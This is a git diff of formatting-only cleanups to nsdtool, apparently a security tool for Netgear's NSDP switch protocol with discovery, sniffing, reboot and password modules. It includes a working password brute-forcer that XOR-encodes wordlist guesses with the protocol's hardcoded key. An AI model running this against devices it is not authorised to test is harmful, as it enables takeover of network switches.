(msg[i + 1] << 8) s = s + w - s = (s>>16) + (s & 0xffff); + s = (s >> 16) + (s & 0xffff); s = s + (s >> 16); s = ~s & 0xffff @@ -71,7 +71,7 @@ def generate_ip_header(self, protocol): ip_ihl = 5 ip_ver = 4 ip_tos = 0 - ip_tot_len = 0 + ip_tot_len = 0 ip_id = 36013 ip_frag_off = 0 ip_ttl = 255 @@ -81,13 +81,13 @@ def generate_ip_header(self, protocol): elif protocol == "UDP": ip_proto = socket.IPPROTO_UDP - ip_check = 0 + ip_check = 0 ip_saddr = socket.inet_aton(self.source_ip) ip_daddr = socket.inet_aton(self.dest_ip) ip_ihl_ver = (ip_ver << 4) + ip_ihl - ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, - ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, - ip_daddr) + ip_header = pack('!BBHHHBBH4s4s', ip_ihl_ver, ip_tos, ip_tot_len, + ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, + ip_daddr) return ip_header @@ -106,17 +106,17 @@ def generate_udp_header(self, source_port, dest_port, length, checks, user_data) protocol = socket.IPPROTO_UDP udp_length = len(udph) + len(user_data) - psh = pack('!4s4sBBH', source_address, dest_address, placeholder, - protocol, udp_length) + psh = pack('!4s4sBBH', source_address, dest_address, placeholder, + protocol, udp_length) psh = psh + udph + user_data sum = 0 for i in range(0, len(psh), 2): - if i+1 >= len(psh): + if i + 1 >= len(psh): sum += (psh[i]) & 0xFF else: - w = (((psh[i] << 8) & 0xFF00) + ((psh[i+1]) & 0xFF)) + w = (((psh[i] << 8) & 0xFF00) + ((psh[i + 1]) & 0xFF)) sum += w while (sum >> 16) > 0: @@ -124,15 +124,15 @@ def generate_udp_header(self, source_port, dest_port, length, checks, user_data) sum = ~sum udp_checksum = sum & 0xFFFF - udp_header = pack('!HHHH', udp_source, udp_dest, udp_length, - udp_checksum) - + udp_header = pack('!HHHH', udp_source, udp_dest, udp_length, + udp_checksum) + return udp_header def init_socket(self): try: - s = socket.socket(socket.AF_INET, socket.SOCK_RAW, - socket.IPPROTO_RAW) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, + socket.IPPROTO_RAW) except socket.error as msg: print('Socket could not be created. Error Code : ' + str(msg)) sys.exit() diff --git a/nsdtool/project/nsdpdiscover.py b/nsdtool/project/nsdpdiscover.py index e84b12c..57f596c 100644 --- a/nsdtool/project/nsdpdiscover.py +++ b/nsdtool/project/nsdpdiscover.py @@ -1,30 +1,30 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import socket import sys import fcntl -import struct +import struct import network import targets @@ -37,8 +37,9 @@ """ + class NSDPDiscover(): - + def __init__(self, network, fd, target, delay, quiet): self.network = network self.fd = fd @@ -53,33 +54,31 @@ def __init__(self, network, fd, target, delay, quiet): def start_discover(self): s = self.network.init_socket() - - for i in range(0,len(self.targetlist)): - + + for i in range(0, len(self.targetlist)): self.network.dest_ip = self.targetlist[i] packet = ''; ip_header = self.network.generate_ip_header("UDP") udp_header, discover_data = self.generate_discover_packet() packet = ip_header + udp_header + discover_data - + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, True) - s.sendto(packet, (self.network.dest_ip , 0 )) + s.sendto(packet, (self.network.dest_ip, 0)) sleep(self.delay) def generate_discover_packet(self): - discover_data = bytes([0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x08, - 0x00,0x27,0x47,0x56,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x03,0x4e,0x53,0x44,0x50,0x00,0x00,0x00,0x00,0x00,0x01,0x00, - 0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00, - 0x00,0x05,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x07,0x00,0x00,0x00, - 0x08,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x0d, - 0x00,0x00,0x00,0x0e,0x00,0x00,0x00,0x0f,0x00,0x00,0xff,0xff,0x00, - 0x00]) - - - udp_header = self.network.generate_udp_header(self.network.source_port, self.network.dest_port, 96, - 0, discover_data) + discover_data = bytes([0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, + 0x00, 0x27, 0x47, 0x56, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x4e, 0x53, 0x44, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x0d, + 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0xff, 0xff, 0x00, + 0x00]) + + udp_header = self.network.generate_udp_header(self.network.source_port, self.network.dest_port, 96, + 0, discover_data) return udp_header, discover_data diff --git a/nsdtool/project/nsdppasswordbruteforce.py b/nsdtool/project/nsdppasswordbruteforce.py index 45fdb2d..750d2d0 100644 --- a/nsdtool/project/nsdppasswordbruteforce.py +++ b/nsdtool/project/nsdppasswordbruteforce.py @@ -1,30 +1,30 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import socket import sys import fcntl -import struct +import struct import binascii import threading import select @@ -39,8 +39,9 @@ """ + class NSDPPasswordBruteForce(): - + def __init__(self, network, port, password, macaddress, fd, quiet): self.network = network self.port = port @@ -70,22 +71,22 @@ def bruteforce_sniffer(self, e): eth_length = 14 ip_header = packet[0:20] - iph = unpack('!BBHHHBBH4s4s' , ip_header) + iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_length = ihl * 4 - + protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) d_addr = socket.inet_ntoa(iph[9]) if protocol == 17: udph_length = 8 - udp_header = packet[iph_length:iph_length+8] - udph = unpack('!HHHH' , udp_header) + udp_header = packet[iph_length:iph_length + 8] + udph = unpack('!HHHH', udp_header) source_port = udph[0] dest_port = udph[1] length = udph[2] @@ -98,19 +99,19 @@ def bruteforce_sniffer(self, e): if data[5] == 0xa: pw_count += 1 - if self.quiet == False: + if self.quiet == False: sys.stdout.write("\rpasswords tried: %i" % pw_count) sys.stdout.flush() else: print("\npassword found: " + self.pw) e.set() return - + e.set() def start_password_bruteforce(self): s = self.network.init_socket() - + packet = ''; ip_header = self.network.generate_ip_header("UDP") @@ -128,8 +129,8 @@ def start_password_bruteforce(self): udp_header, password_bruteforce_frame = self.generate_password_bruteforce_packet(bf_password) packet = ip_header + udp_header + password_bruteforce_frame s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, True) - s.sendto(packet, (self.network.dest_ip , 0 )) - + s.sendto(packet, (self.network.dest_ip, 0)) + if t1.is_alive(): e.wait(3) else: @@ -139,46 +140,44 @@ def start_password_bruteforce(self): while len(bf_password) > 21: bf_password = self.fd.readline() - def generate_password_bruteforce_packet(self, bf_password): - xor_bytes = bytes( [0x4e, 0x74, 0x67, 0x72, - 0x53, 0x6d, 0x61, 0x72, - 0x74, 0x53, 0x77, 0x69, - 0x74, 0x63, 0x68, 0x52, - 0x6f, 0x63, 0x6b, 0x4e]) - + xor_bytes = bytes([0x4e, 0x74, 0x67, 0x72, + 0x53, 0x6d, 0x61, 0x72, + 0x74, 0x53, 0x77, 0x69, + 0x74, 0x63, 0x68, 0x52, + 0x6f, 0x63, 0x6b, 0x4e]) + oldpassword = bf_password.encode("utf-8") newpassword = self.password.encode("utf-8") oldpassword_xor = bytes() newpassword_xor = bytes() - oldpassword_len = pack("!B",len(bf_password)) - newpassword_len = pack("!B",len(self.password)) + oldpassword_len = pack("!B", len(bf_password)) + newpassword_len = pack("!B", len(self.password)) mac = binascii.unhexlify(self.macaddress.replace(':', '')) - for i in range(0,len(oldpassword)): + for i in range(0, len(oldpassword)): oldpassword_xor += pack("!B", oldpassword[i] ^ xor_bytes[i]) - for i in range(0,len(newpassword)): - newpassword_xor += pack("!B",newpassword[i] ^ xor_bytes[i]) + for i in range(0, len(newpassword)): + newpassword_xor += pack("!B", newpassword[i] ^ xor_bytes[i]) - password_bruteforce_frame = bytes([0x01,0x03,0x00,0x00,0x00,0x00, - 0x00,0x00,0x08,0x00,0x27,0x47,0x56,0x16]) + password_bruteforce_frame = bytes([0x01, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x27, 0x47, 0x56, 0x16]) password_bruteforce_frame += mac - password_bruteforce_frame += bytes([0x00,0x00,0x00,0x0d,0x4e,0x53,0x44,0x50,0x00, - 0x00,0x00,0x00,0x00,0x0a,0x00]) + password_bruteforce_frame += bytes([0x00, 0x00, 0x00, 0x0d, 0x4e, 0x53, 0x44, 0x50, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00]) password_bruteforce_frame += oldpassword_len password_bruteforce_frame += oldpassword_xor - password_bruteforce_frame += bytes([0x00,0x09,0x00]) + password_bruteforce_frame += bytes([0x00, 0x09, 0x00]) password_bruteforce_frame += newpassword_len password_bruteforce_frame += newpassword_xor - password_bruteforce_frame += bytes([0xff,0xff,0x00,0x00]) + password_bruteforce_frame += bytes([0xff, 0xff, 0x00, 0x00]) password_bruteforce_frame_length = 52 + len(bf_password) + len(self.password) - udp_header = self.network.generate_udp_header(self.network.source_port, - self.network.dest_port, password_bruteforce_frame_length, - 0, password_bruteforce_frame) + udp_header = self.network.generate_udp_header(self.network.source_port, + self.network.dest_port, password_bruteforce_frame_length, + 0, password_bruteforce_frame) return udp_header, password_bruteforce_frame - diff --git a/nsdtool/project/nsdprebootdevice.py b/nsdtool/project/nsdprebootdevice.py index 6052356..33337cf 100644 --- a/nsdtool/project/nsdprebootdevice.py +++ b/nsdtool/project/nsdprebootdevice.py @@ -1,30 +1,30 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import socket import sys import fcntl -import struct +import struct import binascii import network @@ -35,8 +35,9 @@ :platform: Linux """ + class NSDPRebootDevice(): - + def __init__(self, network, password, macaddress): self.network = network self.password = password @@ -44,7 +45,7 @@ def __init__(self, network, password, macaddress): def start_reboot_device(self): s = self.network.init_socket() - + packet = ''; ip_header = self.network.generate_ip_header("UDP") @@ -52,39 +53,38 @@ def start_reboot_device(self): packet = ip_header + udp_header + reboot_frame s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, True) - s.sendto(packet, (self.network.dest_ip , 0 )) + s.sendto(packet, (self.network.dest_ip, 0)) def generate_reboot_device_packet(self): - xor_bytes = bytes( [0x4e, 0x74, 0x67, 0x72, - 0x53, 0x6d, 0x61, 0x72, - 0x74, 0x53, 0x77, 0x69, - 0x74, 0x63, 0x68, 0x52, - 0x6f, 0x63, 0x6b, 0x4e]) - + xor_bytes = bytes([0x4e, 0x74, 0x67, 0x72, + 0x53, 0x6d, 0x61, 0x72, + 0x74, 0x53, 0x77, 0x69, + 0x74, 0x63, 0x68, 0x52, + 0x6f, 0x63, 0x6b, 0x4e]) + password = self.password.encode("utf-8") password_xor = bytes() - password_len = pack("!B",len(self.password)) + password_len = pack("!B", len(self.password)) mac = binascii.unhexlify(self.macaddress.replace(':', '')) - for i in range(0,len(password)): + for i in range(0, len(password)): password_xor += pack("!B", password[i] ^ xor_bytes[i]) - reboot_frame = bytes([0x01,0x03,0x00,0x00,0x00,0x00, - 0x00,0x00,0x08,0x00,0x27,0x47,0x56,0x16]) + reboot_frame = bytes([0x01, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x27, 0x47, 0x56, 0x16]) reboot_frame += mac - reboot_frame += bytes([0x00,0x00,0x00,0x0f,0x4e,0x53,0x44,0x50,0x00, - 0x00,0x00,0x00,0x00,0x0a,0x00]) + reboot_frame += bytes([0x00, 0x00, 0x00, 0x0f, 0x4e, 0x53, 0x44, 0x50, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00]) reboot_frame += password_len reboot_frame += password_xor - reboot_frame += bytes([0x00,0x0f,0x00,0x01,0x01,0x00,0x13,0x00,0x01, - 0x01,0xff,0xff,0x00,0x00]) + reboot_frame += bytes([0x00, 0x0f, 0x00, 0x01, 0x01, 0x00, 0x13, 0x00, 0x01, + 0x01, 0xff, 0xff, 0x00, 0x00]) reboot_frame_length = 58 + len(self.password) - udp_header = self.network.generate_udp_header(self.network.source_port, - self.network.dest_port, reboot_frame_length, - 0, reboot_frame) + udp_header = self.network.generate_udp_header(self.network.source_port, + self.network.dest_port, reboot_frame_length, + 0, reboot_frame) return udp_header, reboot_frame - diff --git a/nsdtool/project/nsdpsetpassword.py b/nsdtool/project/nsdpsetpassword.py index 3d01e7f..c1710b7 100644 --- a/nsdtool/project/nsdpsetpassword.py +++ b/nsdtool/project/nsdpsetpassword.py @@ -1,30 +1,30 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import socket import sys import fcntl -import struct +import struct import binascii import network @@ -35,8 +35,9 @@ :platform: Linux """ + class NSDPSetPassword(): - + def __init__(self, network, oldpassword, newpassword, macaddress): self.network = network self.oldpassword = oldpassword @@ -45,7 +46,7 @@ def __init__(self, network, oldpassword, newpassword, macaddress): def start_set_password(self): s = self.network.init_socket() - + packet = ''; ip_header = self.network.generate_ip_header("UDP") @@ -53,48 +54,46 @@ def start_set_password(self): packet = ip_header + udp_header + password_frame s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, True) - s.sendto(packet, (self.network.dest_ip , 0 )) - + s.sendto(packet, (self.network.dest_ip, 0)) def generate_set_password_packet(self): - xor_bytes = bytes( [0x4e, 0x74, 0x67, 0x72, - 0x53, 0x6d, 0x61, 0x72, - 0x74, 0x53, 0x77, 0x69, - 0x74, 0x63, 0x68, 0x52, - 0x6f, 0x63, 0x6b, 0x4e]) - + xor_bytes = bytes([0x4e, 0x74, 0x67, 0x72, + 0x53, 0x6d, 0x61, 0x72, + 0x74, 0x53, 0x77, 0x69, + 0x74, 0x63, 0x68, 0x52, + 0x6f, 0x63, 0x6b, 0x4e]) + oldpassword = self.oldpassword.encode("utf-8") newpassword = self.newpassword.encode("utf-8") oldpassword_xor = bytes() newpassword_xor = bytes() - oldpassword_len = pack("!B",len(self.oldpassword)) - newpassword_len = pack("!B",len(self.newpassword)) + oldpassword_len = pack("!B", len(self.oldpassword)) + newpassword_len = pack("!B", len(self.newpassword)) mac = binascii.unhexlify(self.macaddress.replace(':', '')) - for i in range(0,len(oldpassword)): + for i in range(0, len(oldpassword)): oldpassword_xor += pack("!B", oldpassword[i] ^ xor_bytes[i]) - for i in range(0,len(newpassword)): - newpassword_xor += pack("!B",newpassword[i] ^ xor_bytes[i]) + for i in range(0, len(newpassword)): + newpassword_xor += pack("!B", newpassword[i] ^ xor_bytes[i]) - password_frame = bytes([0x01,0x03,0x00,0x00,0x00,0x00, - 0x00,0x00,0x08,0x00,0x27,0x47,0x56,0x16]) + password_frame = bytes([0x01, 0x03, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x27, 0x47, 0x56, 0x16]) password_frame += mac - password_frame += bytes([0x00,0x00,0x00,0x0d,0x4e,0x53,0x44,0x50,0x00, - 0x00,0x00,0x00,0x00,0x0a,0x00]) + password_frame += bytes([0x00, 0x00, 0x00, 0x0d, 0x4e, 0x53, 0x44, 0x50, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00]) password_frame += oldpassword_len password_frame += oldpassword_xor - password_frame += bytes([0x00,0x09,0x00]) + password_frame += bytes([0x00, 0x09, 0x00]) password_frame += newpassword_len password_frame += newpassword_xor - password_frame += bytes([0xff,0xff,0x00,0x00]) + password_frame += bytes([0xff, 0xff, 0x00, 0x00]) password_frame_length = 52 + len(self.oldpassword) + len(self.newpassword) - udp_header = self.network.generate_udp_header(self.network.source_port, - self.network.dest_port, password_frame_length, - 0, password_frame) + udp_header = self.network.generate_udp_header(self.network.source_port, + self.network.dest_port, password_frame_length, + 0, password_frame) return udp_header, password_frame - diff --git a/nsdtool/project/nsdpsniffer.py b/nsdtool/project/nsdpsniffer.py index d042b9f..f1baf3c 100644 --- a/nsdtool/project/nsdpsniffer.py +++ b/nsdtool/project/nsdpsniffer.py @@ -1,25 +1,25 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import socket import sys @@ -27,15 +27,16 @@ from struct import * + class NSDPSniffer(): def __init__(self, port): self.port = port - def eth_addr(self, a) : - b = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (a[0] , a[1] , a[2], a[3], a[4] , a[5]) - - return b + def eth_addr(self, a): + b = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (a[0], a[1], a[2], a[3], a[4], a[5]) + + return b def start_sniffer(self): """Start NSDP sniffer. @@ -57,14 +58,14 @@ def start_sniffer(self): eth_length = 14 ip_header = packet[0:20] - iph = unpack('!BBHHHBBH4s4s' , ip_header) + iph = unpack('!BBHHHBBH4s4s', ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF iph_length = ihl * 4 - + ttl = iph[5] protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]) @@ -72,44 +73,44 @@ def start_sniffer(self): if protocol == 17: udph_length = 8 - udp_header = packet[iph_length:iph_length+8] - udph = unpack('!HHHH' , udp_header) + udp_header = packet[iph_length:iph_length + 8] + udph = unpack('!HHHH', udp_header) source_port = udph[0] dest_port = udph[1] length = udph[2] checksum = udph[3] - + if source_port == self.port: - print('Version : ' + str(version) + - ' IP Header Length : ' + str(ihl) + ' TTL : ' + - str(ttl) + ' Protocol : ' + str(protocol) + - ' Source Address : ' + str(s_addr) + - ' Destination Address : ' + str(d_addr)) - print('Source Port : ' + str(source_port) + - ' Dest Port : ' + str(dest_port) + ' Length : ' + - str(length) + ' Checksum : ' + str(checksum)) + print('Version : ' + str(version) + + ' IP Header Length : ' + str(ihl) + ' TTL : ' + + str(ttl) + ' Protocol : ' + str(protocol) + + ' Source Address : ' + str(s_addr) + + ' Destination Address : ' + str(d_addr)) + print('Source Port : ' + str(source_port) + + ' Dest Port : ' + str(dest_port) + ' Length : ' + + str(length) + ' Checksum : ' + str(checksum)) h_size = eth_length + iph_length + udph_length data_size = len(packet) - h_size data = packet[h_size:] - print("protocol: " + chr(data[10]) + chr(data[11]) + - chr(data[12]) + chr(data[13])) - print("device: " + chr(data[22]) + chr(data[23]) + - chr(data[24]) + chr(data[25]) + chr(data[26]) + - chr(data[27]) + chr(data[28]) + chr(data[29])) + print("protocol: " + chr(data[10]) + chr(data[11]) + + chr(data[12]) + chr(data[13])) + print("device: " + chr(data[22]) + chr(data[23]) + + chr(data[24]) + chr(data[25]) + chr(data[26]) + + chr(data[27]) + chr(data[28]) + chr(data[29])) print("mac: " + self.eth_addr(data[0:6])) - print("firmware version: " + chr(data[104]) + - chr(data[105]) + chr(data[106]) + - 